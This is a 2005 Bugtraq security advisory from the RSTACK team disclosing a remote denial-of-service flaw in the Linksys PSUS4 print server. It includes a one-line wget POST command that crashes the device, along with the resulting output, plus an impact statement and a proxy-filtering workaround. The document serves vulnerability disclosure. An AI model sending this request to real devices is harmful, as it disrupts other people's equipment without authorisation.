bugtraq - [ RSTACK Public Security Advisory ] Remote DOS against Linksys PSUS4

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Date: 3 Feb 2005 22:49:16 -0000
From: laurent oudot <oudot@...ack.org>
To: bugtraq@...urityfocus.com
Subject: [ RSTACK Public Security Advisory ] Remote DOS against Linksys PSUS4

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Rstack Public Security Advisory                           RSTACK SA200502-02
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                                            http://rstack.org/
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  Severity: Normal
     Title: Linksys PSUS4 remote Denial of Service
      Date: February 02, 2005
        ID: 200502-02

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Background
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PSUS4 is one of the small embedded Linksys wired print servers.

Affected products
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Model Name: PSUS4 (not tested against others)
Firmware Version: 6032 (not tested against others)

Description
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Rstack team found a tiny denial of service on the Linksys PSUS4. This device has problems to handle some weird ugly HTTP requests. No password needed.

Here is an example, to crash a remote PSUS4 :

$ wget --post-data="Br1Ce2N1c3" http://192.168.1.2/
--23:10:05--  http://192.168.1.2/
           => `index.html'
Connecting to 192.168.1.2:80... connected.
HTTP request sent, awaiting response...

=> And the PSUS4 is crashed.

Impact
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A remote attacker could crash the device (DOS).

Workaround
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There is no official workaround at that time. Linksys has been contacted and a patch should be available in the future (*).
In needed, you can try to filter incoming requests by using a specific dedicated reverse proxy, but that might be a too big solution for such a little device (hint: a reboot will be necessary after each crash).

(*) "ou pas"...